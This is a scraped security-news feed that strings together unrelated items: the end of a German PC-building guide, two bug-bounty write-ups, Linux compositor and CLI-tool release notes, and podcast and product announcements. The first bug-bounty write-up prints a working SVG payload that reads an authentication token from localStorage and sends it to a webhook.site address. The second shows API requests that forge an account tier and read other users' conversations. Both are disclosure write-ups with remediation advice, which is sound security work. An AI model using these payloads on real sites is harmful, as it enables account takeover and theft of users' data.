    • Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt fĂźr blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
    • Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das fĂźr rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte LĂźfter und eine Mesh-Front fĂźr leisen, kĂźhlen Betrieb.
    • Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie kĂśnnen zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.

    Konfiguration 2: Casual-Gaming und Videoschnitt-PC

    ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming
    Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nĂśtige Leistung fĂźr 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding fĂźr Streaming und Videoschnitt.

    Asus

    Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

    • Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. FĂźr rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung fĂźr flĂźssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
      • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
    • Mainboard: Das Asus TUF Gaming Z890-Plus (fĂźr Intel) oder das MSI MAG B650 Tomahawk WiFi (fĂźr AMD). Beide bieten moderne PCIe-Slots und solide KĂźhlung fĂźr die Spannungswandler.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich fĂźr flĂźssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl fĂźr klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch fĂźr Content Creation gut geeignet ist. 8-GB-VRAM reichen fĂźr die meisten aktuellen Titel aus, kĂśnnen bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. FĂźr spĂźrbar mehr Leistungsreserven im 1440p-Gaming kĂśnnen Sie auch zum Ti-Modell greifen (+ 80 Euro).
      • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. FĂźr rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
    • Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt fĂźr verzĂśgerungsfreie Arbeitsabläufe.
    • Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fĂźgt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch fĂźr Komponenten mit hoher Wärmeentwicklung.
    • Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss fĂźr RTX-Karten und genĂźgend Puffer fĂźr Leistungsspitzen.

    Konfiguration 3: High-End-System fĂźr Gaming und Content Creation

    Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte
    Für einen High-End-PC setzen wir auf üppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.

    Gigabyte

    Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

    • Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehĂśrt diese CPU zu den schnellsten Gaming-Prozessoren Ăźberhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
      • GĂźnstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär fĂźr 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
    • Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse fĂźr den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschĂśpfen. Mit zwei nativen USB4-AnschlĂźssen, Wi-Fi 7 und voller PCIe‑5.0‑UnterstĂźtzung bietet es moderne Konnektivität.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa fĂźr aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug fĂźr kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
      • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die fĂźr maximale Workstation-Leistung oder extremes 4K-Path-Tracing die hĂśchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
    • Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – FĂźr kĂźrzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg Ăźber die CPU direkt von der SSD zu laden.
    • Gehäuse:
      • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-LĂźftern und einer integrierten LĂźfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz fĂźr große 420-mm-Radiatoren und Ăźberlange Grafikkarten.
      • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren fĂźr aufwendige WasserkĂźhlungen.
    • Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-UnterstĂźtzung bietet dafĂźr ausreichende Reserven.

    Ihre Kauf-Checkliste fĂźr 2026

    Mann kauft online ein mit Kreditkarte und Handy

    Anucha Tiemsom/Shutterstock.com

    Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prßfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

    • Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade fĂźr High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt fĂźr frische Luft, hält die Temperaturen niedrig und ermĂśglicht es den GehäuselĂźftern, auch unter Last angenehm leise zu arbeiten.
    • HDD stirbt langsam aus: FĂźr Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als gĂźnstiger Datenspeicher fĂźr Backups und große Medienarchive – alles andere macht die SSD.
    • Netzteil-Standards beachten: Neue Grafikkarten benĂśtigen moderne AnschlĂźsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
    • RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darĂźber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spĂźrbaren Mehrwert.
    • Mainboard-Features geschickt wählen: Bezahlen Sie nicht fĂźr AnschlĂźsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
    • KĂźhlung richtig dimensionieren: FĂźr Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-LuftkĂźhler fĂźr 40 Euro oft aus. Teure KomplettwasserkĂźhlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

    Fazit: Clever kaufen trotz Krise

    Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

    Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, kÜnnen Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

    ]]>         <![CDATA[SAR 2,629 For Stored XSS via svg Image Leading to ATO]]> https://tsecurity.de/de/3675348/hacking/sar-2629-for-stored-xss-via-svg-image-leading-to-ato/ https://tsecurity.de/de/3675348/hacking/sar-2629-for-stored-xss-via-svg-image-leading-to-ato/ Fri, 17 Jul 2026 09:23:38 +0200 🕵️ Hacking tsecurity.de
    REPORT BOUNTY

    Hacking via Pictures: Stored XSS via SVG Leading to Account Takeover

    Hello everyone! 👋

    In this write-up, I want to share an interesting finding: a Stored Cross-Site Scripting (XSS) vulnerability hidden inside a profile picture upload feature.

    By simply uploading a malicious SVG image, I was able to execute JavaScript code and steal authentication tokens stored in `localStorage`, leading to a full Account Takeover.

    Let’s dive into how it happened!

    The Discovery

    While hunting on a program from the BugBounty.sa platform, I focused on the user profile settings. I noticed the application allowed users to upload profile pictures, so I immediately checked if it accepted SVG (Scalable Vector Graphics) files.

    During my reconnaissance, I found three critical pieces of information that made this attack possible:

    1. Storage Mechanism: I inspected the application’s storage and found that the session credentials (authentication tokens) were stored in the browser’s `localStorage`.
    2. Same-Origin Hosting: I noticed that uploaded photos were hosted **self-hosted on the same domain** (e.g., `https://redacted.com/photos/...`) rather than on a separate CDN or sandbox domain. This is crucial because scripts running inside the image share the same origin as the main application, allowing them to access `localStorage`.

    3. Missing CSP: The application had a missing or misconfigured **Content Security Policy (CSP)**, allowing inline scripts to execute.

    Steps to Reproduce

    1. Navigate to the Target

    I logged into my account and went to the **Account Details** page.

    **URL:** `https://redacted.com/account/details`

    2. Create the Malicious Payload

    I set up a listener on **webhook.site** to capture the stolen data. Then, I created a file named `exploit.svg`. Inside this file, I embedded a script to grab the `token` from `localStorage` and send it to my webhook.

    • *The Payload:**
    <svg xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" width="400" height="400" viewBox="0 0 124 124" fill="none">
    <rect width="124" height="124" rx="24" fill="#000000"/>
     <script type="text/javascript"> 
     var t = localStorage.getItem("token");
     if(t){
     // send token to attacker webhook
     fetch("[https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=](https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=)" + encodeURIComponent(t));
     }
     alert(t);
     </script>
    </svg>

    3. Upload the Image

    I clicked the upload button and selected my exploit.svg file. The application accepted it without any errors! ✅

    Once uploaded, I right-clicked the profile image and selected “Open image in new tab”.

    As soon as the browser rendered the SVG, the JavaScript executed. 💥

    • An alert box popped up with the token.
    • The token was silently sent to my webhook listener.
    XSS Popup
    WEBGOOK

    The Impact

    This wasn’t just a simple popup. By accessing localStorage, I could extract the Authentication Token.

    With this token, an attacker can:

    • Take over the account without a password.
    • View sensitive personal information (PII).
    • Perform actions on behalf of the victim (admin or user).

    Remediation

    To fix this, developers should:

    • Sanitize SVGs: Remove <script> tags and event handlers (like onload) before saving the file.
    • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
    • Force Content-Disposition: Serve user-uploaded images as attachment so browsers download them instead of rendering them.

    Happy Hacking!

    SAR 2,629 For Stored XSS via svg Image Leading to ATO was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Zero Credentials, Full Access: Inside a Complete Authorization Failure]]> https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/ https://tsecurity.de/de/3675345/hacking/zero-credentials-full-access-inside-a-complete-authorization-failure/ Fri, 17 Jul 2026 09:23:35 +0200 🕵️ Hacking tsecurity.de Bounty Case Files #01

    How multiple trust-boundary failures allowed anonymous access to premium functionality in a production API

    By Ahmed Waleed | Bug Bounty Hunter

    TL;DR

    While assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.

    By chaining multiple trust-boundary failures, an unauthenticated attacker could:

    • Access premium enterprise functionality without authentication.
    • Impersonate arbitrary users
    • Read private conversation history
    • Escalate privileges through client-controlled authorization metadata.
    • Create, modify, and delete server-side resources

    To respect responsible disclosure, all identifying information has been removed.

    Target Overview

    The target was a public AI-powered enterprise platform exposing a documented REST API.

    During reconnaissance I discovered several publicly accessible endpoints:

    • /docs
    • /redoc
    • /openapi.json

    The OpenAPI specification described every available endpoint together with request schemas.

    One thing immediately stood out: the API defined no authentication mechanism whatsoever — no API keys, no OAuth, no Bearer tokens, and no securitySchemes in the OpenAPI specification.

    Recon

    Rather than fuzzing hundreds of endpoints, I started by understanding how the application expected clients to communicate.

    The Swagger interface exposed the complete API surface, allowing quick identification of authentication requirements — or in this case, the absence of them. That observation became the starting point for the entire assessment.

    Technical Walkthrough

    All requests below were run from a clean browser session with zero credentials, against only a test conversation and a synthetic (non-existent) email address.

    1. Create a conversation — no auth required:

    POST /conversations
    Content-Type: application/json 
    {}


    → 200 OK
    {"status":"success","conversation_id":"conv_...","created_at":"..."}

    2. Run an enterprise-tier query by just claiming to be enterprise:

    POST /process
    Content-Type: application/json

    {
      "message": "Show me top brands in TVs on Amazon US by market share",
      "conversation_id": "conv_...",
      "user_metadata": {
        "user_tier": "enterprise",
        "permitted_categories": ["All"],
        "allowed_retailers": ["All"]
      }
    }

    → 200 OK — real production analytics data returned, e.g.:
    Brand A - 35.54% market share - $36.9M GMV - 47,832 units
    Brand B - 17.81% market share - $18.5M GMV -  8,859 units
    Brand C -  7.77% market share -  $8.1M GMV - 43,218 units

    The response even included an internal data-source citation confirming it was pulling from the platform’s proprietary intelligence pipeline — not a demo/sandboxed dataset.

    3. Impersonate any customer by email:

    GET /conversations?user_email=<any-email>

    → 200 OK — full conversation history for that email address returnedGET /conversations?user_email=<any-email>

    No verification that the requester is that email address — just supply it and read their history.

    Expected behavior for all three: 401 Unauthorized. Actual: 200 OK, full access.

    Attack Chain

    Individually, each issue represented a security weakness. Combined, they resulted in a complete authorization failure.

    Root Cause Analysis

    • Authentication was never enforced
    • User identity was trusted from client input
    • Authorization relied on client-controlled metadata
    • Public API documentation exposed the full attack surface
    • Critical authorization decisions occurred entirely on the client side

    Impact

    An unauthenticated, remote, anonymous attacker could:

    • Consume a paid AI analytics product with zero subscription
    • Pull real-time competitive intelligence (pricing, market share, revenue) meant to be a paid enterprise product
    • Enumerate/guess customer emails to read private conversation histories
    • Escalate from a “demo” tier to “enterprise” by editing a JSON field
    • Perform unauthenticated DELETE and PATCH on other users' conversation records — a data-integrity/destruction risk, not just a confidentiality one

    Suggested Remediation

    1. Require real authentication (e.g., validated OAuth/OIDC bearer tokens) on every endpoint; reject unauthenticated calls with 401.
    2. Derive user identity only from the validated token — never from a client-supplied user_email parameter.
    3. Enforce subscription tier and all permissions server-side, from the authenticated principal’s actual entitlements — never trust client-supplied user_metadata.
    4. Remove or gate /docs, /redoc, and /openapi.json behind auth in production.
    5. Add per-user rate limiting and audit logging tied to the authenticated identity.

    Lessons Learned

    • Authentication and authorization solve different problems
    • Public API documentation accelerates reconnaissance
    • Client-controlled metadata must never influence authorization
    • Every permission should be verified on the server
    • Multiple low-complexity issues can combine into a critical compromise

    Responsible Disclosure

    This issue was reported responsibly through the vendor’s vulnerability disclosure process. The article intentionally omits identifying details, implementation-specific information, and production artifacts.

    Takeaway

    An OpenAPI spec with no securitySchemes block and a Swagger UI with no "Authorize" button is a five-second tell that a supposedly "enterprise-grade" AI product may have no server-side authorization at all — identity and entitlement were both being trusted from client-supplied JSON. Worth checking on any AI agent/chatbot API you test: does the server actually verify who you are and what you're allowed to see, or is it just trusting what you tell it?

    Next in this series: Bounty Case Files #02

    Zero Credentials, Full Access: Inside a Complete Authorization Failure was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[Weston 16 released: better HDR/color management, DRM backend perf, and debugging tools]]> https://tsecurity.de/de/3674928/linux-tipps/weston-16-released-better-hdrcolor-management-drm-backend-perf-and-debugging-tools/ https://tsecurity.de/de/3674928/linux-tipps/weston-16-released-better-hdrcolor-management-drm-backend-perf-and-debugging-tools/ Fri, 17 Jul 2026 04:10:58 +0200 🐧 Linux Tipps tsecurity.de

    Weston 16.0 has landed, building on the HDR and color-management work from v15. Highlights:

    • HDR/color management: HDR mode can now actually be turned on (still experimental, no tone mapping yet). Parametric and ICC color profiles now interoperate, and the default sRGB profile switched from ICC to parametric. The GL-renderer gained in-shader blending, and the DRM backend can now offload pre-blend color transformations to KMS on supported kernels.
    • Debugging: Perfetto tracing got expanded further, GL-renderer optimizations, buffer info, and input events (libinput → Wayland client) are all traceable now. Debug-scope logging is also faster, cutting overhead on lower-end CPUs.
    • DRM backend: New support for BACKGROUND_COLOR and COLOR_FORMAT DRM properties, underscan/overscan compensation for TVs, and a state-reuse optimization that skips redundant repaint work when nothing's changed on screen (good for CPU usage).
    • Other additions: Alpha modifier protocol support (cheaper fade/dim animations without re-rendering), writeback screenshot scaling, more DRM pixel formats for AFBC/YUV buffers, and Vulkan/GL renderer bug fixes.
    • Deprecations: The remoting/PipeWire plugins, screen-share module, and non-atomic modesetting are being phased out in favor of standalone backends and atomic modesetting (which itself is 8 years old at this point).

    Full writeup with links to the merge requests: https://www.collabora.com/news-and-blog/news-and-events/weston-16-hdr-ready-improved-debugging-and-drm-backend-features.html

    submitted by /u/mfilion
    [link] [comments]]]>         <![CDATA[v2.1.212]]> https://tsecurity.de/de/3674861/downloads/v21212/ https://tsecurity.de/de/3674861/downloads/v21212/ Fri, 17 Jul 2026 02:31:39 +0200 💾 Downloads tsecurity.de What's changed
    • /fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
    • Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt (pass --yes to skip)
    • Added a session-wide limit on WebSearch tool calls (default 200, tunable via CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION) to stop runaway search loops
    • Added a per-session cap on subagent spawns (default 200, override with CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION) to stop runaway delegation loops; /clear resets the budget
    • MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS
    • Typing /resume in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session
    • Fixed plan mode auto-running file-modifying Bash commands (e.g. touch, rm) without a permission prompt or SDK canUseTool callback
    • Fixed worktree creation following a repository-committed symlink at .claude/worktrees, which could create files outside the repository
    • Fixed a continue:false hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections
    • Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143
    • Fixed /background and claude --bg failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7
    • Fixed shell mode (!) not executing commands containing file paths while the path autocomplete popup was open
    • Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji
    • Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the ? help overlay
    • Fixed /ultrareview rejecting PR references like #123, PR 123, and pasted PR URLs; error hints now name the command you actually typed
    • Fixed /ultrareview <branch> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos
    • Fixed /ultrareview skipping the billing confirmation in a new conversation after /clear
    • Fixed /ultrareview's "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands
    • Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning
    • Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session
    • Fixed ExitWorktree failing with "no active EnterWorktree session" after resuming a session with --continue/--resume in print/SDK mode
    • Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run
    • Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart
    • Fixed background sessions created with /fork losing their live-parent protection after a state write failure
    • Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart
    • Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session
    • Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long
    • Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode
    • Fixed diff previews losing their line numbers and +/- markers in narrow layouts
    • Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143
    • Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding
    • Fixed OTLP event log records missing trace_id/span_id when TRACEPARENT is set in SDK/headless mode
    • Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause
    • Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded
    • Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff
    • Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)
    • Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait
    • Reduced token usage in inter-agent messaging: SendMessage bodies are no longer duplicated into replayed history and tool results
    • Changed /fork to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view
    • Changed bare /btw to reopen the side-question panel on your most recent exchange so you can browse earlier answers
    • Changed the ← footer hint to pulse N done for a moment when a background agent finishes while nothing needs your input
    • Deprecated the Task tool's mode parameter (now ignored); subagents inherit the parent session's permission mode by default
    • Changed Enterprise forceLoginMethod to be enforced for VS Code extension, SDK, setup-token, and install-github-app logins, not just the terminal
    • Changed session transcripts to record the reasoning effort level on each assistant message
    • Changed headless/SDK sessions to apply a set_model control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn
    • Changed agent view / claude agents --json: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"
    • Updated the auth status panel title from "Cloud authentication" to "Authentication"
    • Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically
    ]]>         <![CDATA[1999 Called and It Wants It's Exploits Back - PSW #935]]> https://tsecurity.de/de/3674669/it-security-nachrichten/1999-called-and-it-wants-its-exploits-back-psw-935/ https://tsecurity.de/de/3674669/it-security-nachrichten/1999-called-and-it-wants-its-exploits-back-psw-935/ Thu, 16 Jul 2026 23:23:03 +0200 📰 IT Security Nachrichten tsecurity.de This week, our technical segment covers a new open-source tool written by Paul (and Claude) that helps you keep your Linux systems up to date and assess supply chain risks. It's called "fettle" and is a pure Python implementation that gives you even more features than previously discussed! Then in the security news:

    • The GodDamn Ransomware
    • CMMC suspended
    • Holy Microsoft Tuesday!
    • Lessons learned
    • Without the Internet, do we still get water?
    • The forgotten shims
    • More than two BIOS passwords
    • Cracking firmware encryption with Claude
    • 1999 called, and it wants its "Exploits" back
    • Prompt injection for defenders
    • Grok has your repo
    • You're not going to outpatch AI

    Visit https://www.securityweekly.com/psw for all the latest episodes!

    Show Notes: https://securityweekly.com/psw-935

    ]]>         <![CDATA[1999 Called and It Wants It's Exploits Back - PSW #935]]> https://tsecurity.de/de/3674666/it-security-video/1999-called-and-it-wants-its-exploits-back-psw-935/ https://tsecurity.de/de/3674666/it-security-video/1999-called-and-it-wants-its-exploits-back-psw-935/ Thu, 16 Jul 2026 23:18:28 +0200 🎥 IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:10

    This week, our technical segment covers a new open-source tool written by Paul (and Claude) that helps you keep your Linux systems up to date and assess supply chain risks. It's called "fettle" and is a pure Python implementation that gives you even more features than previously discussed! Then in the security news:

    - The GodDamn Ransomware
    - CMMC suspended
    - Holy Microsoft Tuesday!
    - Lessons learned
    - Without the Internet, do we still get water?
    - The forgotten shims
    - More than two BIOS passwords
    - Cracking firmware encryption with Claude
    - 1999 called, and it wants its "Exploits" back
    - Prompt injection for defenders
    - Grok has your repo
    - You're not going to outpatch AI


    Visit https://www.securityweekly.com/psw for all the latest episodes!

    Show Notes: https://securityweekly.com/psw-935

    ]]>         <![CDATA[Generate higher quality AI video clips and edit any video with Gemini Omni in Vids]]> https://tsecurity.de/de/3674570/web-tipps/generate-higher-quality-ai-video-clips-and-edit-any-video-with-gemini-omni-in-vids/ https://tsecurity.de/de/3674570/web-tipps/generate-higher-quality-ai-video-clips-and-edit-any-video-with-gemini-omni-in-vids/ Thu, 16 Jul 2026 22:08:28 +0200 Web Tipps tsecurity.de Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need.


    Omni in Vids user experience

    • Generate clips with higher quality: Generate higher quality videos with improved text rendering, physics, and realism using Google’s latest Omni Flash model.
    • Edit videos by typing changes: For example, fix the color-grading, restyle the visuals in anime, or remove that New York siren in the background with a simple text instruction in Vids.

    A note on language and region availability

    At launch, editing non-AI videos with Omni is not available in the European Economic Area, Switzerland, United Kingdom, Texas, or Illinois.

    Getting started

    Rollout pace

    Availability

    • Business: Business Starter, Standard, and Plus
    • Enterprise: Enterprise Starter, Standard, and Plus
    • Education: Education Plus
    • Consumer: Google AI Pro and Ultra
    • Other Editions: Enterprise Essentials and Enterprise Essentials Plus; Nonprofits
    • Education Add-ons: Google AI Pro for Education; Teaching and Learning
    • Other Add-ons: AI Expanded Access*

    *Users with AI Expanded Access add-on licenses have higher limits on usage of Omni in Vids.

    Resources

    ]]>         <![CDATA[The best Setapp apps for teachers in 2026]]> https://tsecurity.de/de/3674018/ios-mac-os/the-best-setapp-apps-for-teachers-in-2026/ https://tsecurity.de/de/3674018/ios-mac-os/the-best-setapp-apps-for-teachers-in-2026/ Thu, 16 Jul 2026 17:41:11 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[HMX 6: AMD-CPU, Balkonkraftwerk und die 30.000-Euro-Höllenmaschine von 2008]]> https://tsecurity.de/de/3673982/it-nachrichten/hmx-6-amd-cpu-balkonkraftwerk-und-die-30000-euro-hoellenmaschine-von-2008/ https://tsecurity.de/de/3673982/it-nachrichten/hmx-6-amd-cpu-balkonkraftwerk-und-die-30000-euro-hoellenmaschine-von-2008/ Thu, 16 Jul 2026 17:33:17 +0200 📰 IT Nachrichten tsecurity.de

